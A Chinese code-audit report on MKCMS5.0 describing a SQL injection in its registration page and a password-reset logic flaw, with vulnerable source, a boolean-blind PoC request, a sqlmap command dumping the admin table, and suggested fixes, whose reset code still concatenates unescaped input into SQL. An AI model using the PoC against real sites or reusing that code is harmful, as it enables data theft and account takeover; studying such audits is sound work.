某KCMS5.0 代码审计 (前台注入&任意用户密码重置)
字数 1009 2025-08-29 08:31:53

MKCMS5.0 代码审计报告:前台SQL注入与任意用户密码重置漏洞分析

0x01 系统概述

MKCMS5.0是一款基于PHP+MYSQL开发的专业全自动采集电影网站源码,具有以下特点:

  • 无需授权上传直接使用
  • 自动更新电影内容,支持无人值守
  • 完整的会员影视中心
  • 后台可对接卡盟
  • 支持设置收费观看模式

0x02 漏洞一:前台SQL注入

漏洞位置

/ucenter/reg.php 第7-19行

漏洞代码分析

if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    // 检测用户名是否存在
    $query = mysql_query("select u_id from mkcms_user where u_name='$username'");
    if(mysql_fetch_array($query)){
        echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
        exit;
    }
    $result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
    if(mysql_fetch_array($result)){
        echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
        exit;
    }
}

漏洞成因

  1. $username参数仅经过stripslashes()trim()处理
  2. stripslashes()函数会删除addslashes()添加的反斜杠,但此处没有先使用addslashes()
  3. 直接拼接用户输入到SQL语句中,导致SQL注入

漏洞利用方法

  1. 这是一个布尔盲注漏洞,通过判断返回结果(true/false)来获取信息
  2. POC示例:
POST /ucenter/reg.php HTTP/1.1
Host: 127.0.0.1
[...其他头部...]
Content-Length: 52
Connection: close

name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=
  1. 使用sqlmap自动化利用:
sqlmap -r inject.txt -D mkcms -T mkcms_manager --dump

修复建议

  1. 对所有用户输入使用addslashes()或更好的mysql_real_escape_string()进行转义
  2. 建议使用预处理语句(PDO)替代直接拼接SQL

0x03 漏洞二:任意用户密码重置

漏洞位置

/ucenter/repass.php 第1-44行

漏洞代码分析

if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    $email = trim($_POST['email']);
    
    // 检测用户名是否存在
    $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
    if(!! $row = mysql_fetch_array($query)){
        $_data['u_password'] = md5(123456);
        $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
        if (mysql_query($sql)) {
            $token =$row['u_question'];
            include("emailconfig.php");
            // 邮件发送代码...
            if($rs==true){
                echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
            }else{
                echo "找回密码失败"
            }
        }
    }
}

漏洞成因

  1. 逻辑缺陷:程序先重置密码为123456,然后才发送邮件验证
  2. 即使邮件发送失败,密码也已经被重置
  3. 攻击者只需知道用户名和对应邮箱,即可重置该用户密码

漏洞利用方法

  1. 构造POST请求,提供目标用户名和邮箱
  2. 系统会立即将密码重置为123456
  3. 即使邮件发送失败,密码修改操作已经完成

修复建议

  1. 修改逻辑流程,先发送验证邮件,验证成功后再修改密码
  2. 建议修复代码:
function randomkeys($length) {
    $pattern = '1234567890abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLOMNOPQRSTUVWXYZ';
    for($i=0;$i<$length;$i++) {
        $key .= $pattern{mt_rand(0,35)};
    }
    return $key;
};
$repass = randomkeys(10);

if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    $email = trim($_POST['email']);
    
    $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
    if(!! $row = mysql_fetch_array($query)){
        include("emailconfig.php");
        // 邮件发送代码...
        if($rs==true){
            $_data['u_password'] = md5($repass);
            $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
            mysql_query($sql);
            echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
        }else{
            echo "找回密码失败";
        }
    }
}

0x04 辅助工具

MySQLMonitor工具可用于监控SQL语句执行情况,帮助审计SQL注入漏洞:
https://github.com/TheKingOfDuck/MySQLMonitor

0x05 总结

  1. SQL注入漏洞:由于未正确过滤用户输入导致,建议使用预处理语句
  2. 密码重置漏洞:由于逻辑流程错误导致,应先验证后修改
  3. 两个漏洞都涉及用户认证系统,危害性较高
  4. 建议对所有用户输入进行严格过滤和验证
  5. 关键业务逻辑应增加二次验证机制

0x06 免责声明

本报告仅供技术交流使用,不得用于非法用途。在实际测试中,应事先获得系统所有者的授权。

MKCMS5.0 代码审计报告:前台SQL注入与任意用户密码重置漏洞分析 0x01 系统概述 MKCMS5.0是一款基于PHP+MYSQL开发的专业全自动采集电影网站源码,具有以下特点: 无需授权上传直接使用 自动更新电影内容,支持无人值守 完整的会员影视中心 后台可对接卡盟 支持设置收费观看模式 0x02 漏洞一:前台SQL注入 漏洞位置 /ucenter/reg.php 第7-19行 漏洞代码分析 漏洞成因 $username 参数仅经过 stripslashes() 和 trim() 处理 stripslashes() 函数会删除 addslashes() 添加的反斜杠,但此处没有先使用 addslashes() 直接拼接用户输入到SQL语句中,导致SQL注入 漏洞利用方法 这是一个布尔盲注漏洞,通过判断返回结果(true/false)来获取信息 POC示例: 使用sqlmap自动化利用: 修复建议 对所有用户输入使用 addslashes() 或更好的 mysql_real_escape_string() 进行转义 建议使用预处理语句(PDO)替代直接拼接SQL 0x03 漏洞二:任意用户密码重置 漏洞位置 /ucenter/repass.php 第1-44行 漏洞代码分析 漏洞成因 逻辑缺陷:程序先重置密码为123456,然后才发送邮件验证 即使邮件发送失败,密码也已经被重置 攻击者只需知道用户名和对应邮箱,即可重置该用户密码 漏洞利用方法 构造POST请求,提供目标用户名和邮箱 系统会立即将密码重置为123456 即使邮件发送失败,密码修改操作已经完成 修复建议 修改逻辑流程,先发送验证邮件,验证成功后再修改密码 建议修复代码: 0x04 辅助工具 MySQLMonitor工具可用于监控SQL语句执行情况,帮助审计SQL注入漏洞: https://github.com/TheKingOfDuck/MySQLMonitor 0x05 总结 SQL注入漏洞 :由于未正确过滤用户输入导致,建议使用预处理语句 密码重置漏洞 :由于逻辑流程错误导致,应先验证后修改 两个漏洞都涉及用户认证系统,危害性较高 建议对所有用户输入进行严格过滤和验证 关键业务逻辑应增加二次验证机制 0x06 免责声明 本报告仅供技术交流使用,不得用于非法用途。在实际测试中,应事先获得系统所有者的授权。